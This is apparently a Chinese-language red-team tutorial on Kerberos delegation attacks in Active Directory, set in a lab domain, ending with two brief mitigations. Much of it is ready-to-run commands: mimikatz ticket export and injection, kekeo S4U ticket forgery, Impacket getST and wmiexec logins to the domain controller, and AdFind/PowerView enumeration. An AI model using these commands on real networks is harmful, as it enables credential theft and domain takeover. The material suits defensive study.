域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。利用委派可获取域管理员权限
域委派主要分为三种:
-
非约束性委派
-
约束性委派
-
基于资源的约束性委派
在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的。
01、非约束委派攻击
设置非约束委派
主机账号设置非约束委派:
活动目录中的computers组内的计算机,双击计算机名进行属性设置。
服务账号设置非约束委派
1、注册 SPN
setspn -U -A https/web test
2、将test设置为非约束委派。
非约束委派攻击利用
从攻击者的角度看,如果攻击者拿到一台配置了非约束性委派的机器权限,就可以诱导域管理员访问这台机器,得到域管理员的TGT,从而拥有域管理员的权限。
(1)域管理员访问非约束委派主机的服务
net use \\WIN-CIFJV1AK3T6.evil.com
(2)在非约束性委派主机上,使用mimikatz导出票据。
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
(3) 使用mimikatz将票据注入内存,访问域控C盘共享目录中的文件。
查找非约束委派
1、Adfind
下载地址:https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml
查询非约束委派的主机账户:
AdFind.exe -b "DC=evil,DC=com" -f "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询非约束委派的服务账户
AdFind.exe -b "DC=evil,DC=com" -f "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
2、PowerView
查询非约束委派的主机账户
Get-NetComputer -Unconstrained -Domain evil.com
查询非约束委派的服务账户
Get-NetUser -Unconstrained -Domain evil.com | select name
02、约束委派攻击
设置约束委派
setspn -U -A cifs/test test
约束委派攻击利用
最常见的攻击思路,获取了服务账号test,那么就可以伪造域内任意用户访问 DC 的 cifs服务。
构造服务账户test的票据
kekeo.exe "tgt::ask /user:test /domain:evil.com /password:abc123! /ticket:test.kirbi" "exit"
利用刚才伪造的票据,向域服务器申请CIFS服务票据
kekeo.exe "tgs::s4u /tgt:TGT_test@EVIL.COM_krbtgt~evil.com@EVIL.COM.kirbi /user:administrator@evil.com /service:cifs/WIN-DC01.evil.com" "exit"
使用mimikatz将该票据注入当前的会话中
mimikatz.exe "kerberos::ptt TGS_administrator@evil.com@EVIL.COM_test@EVIL.COM.kirbi" "exit"
# 访问目标共享盘
dir \\win-dc01\c$
查找非约束委派
ADFind
# AdFind.exe查询约束委派机器账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
# AdFind.exe查询约束委派服务账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
PowerView
# PowerView查询约束委派机器账户
powershell Get-DomainComputer -TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
# PowerView查询约束委派服务账户
powershell Get-DomainUser –TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
03、基于资源的约束委派攻击
(1)设置属性值并查询
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
(2)获取ST,并使用wmiexec登录域控
python getST.py -dc-ip 192.168.44.136 -spn krbtgt -impersonate administrator evil.com/test:abc123!
set KRB5CCNAME=administrator.ccache
python wmiexec.py -no-pass -k administrator@win-dc01 -dc-ip 192.168.44.136
AdFind.exe -b "DC=WLAQ,DC=COM" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
防范措施
1、高权限的用户,设置不能被委派。
2、主机账号需设置委派时,只能设置为约束性委派。
参考连接:
https://www.cnblogs.com/first-kiss/articles/16212857.html#%E9%9D%9E%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE%E6%94%BB%E5%87%BB%E5%88%A9%E7%94%A8
普通域用户帐号加域权限&授权特定普通域用户加域权限
http://wjhsh.net/airoot-p-14827626.html
https://blog.csdn.net/mooncarp/article/details/127926435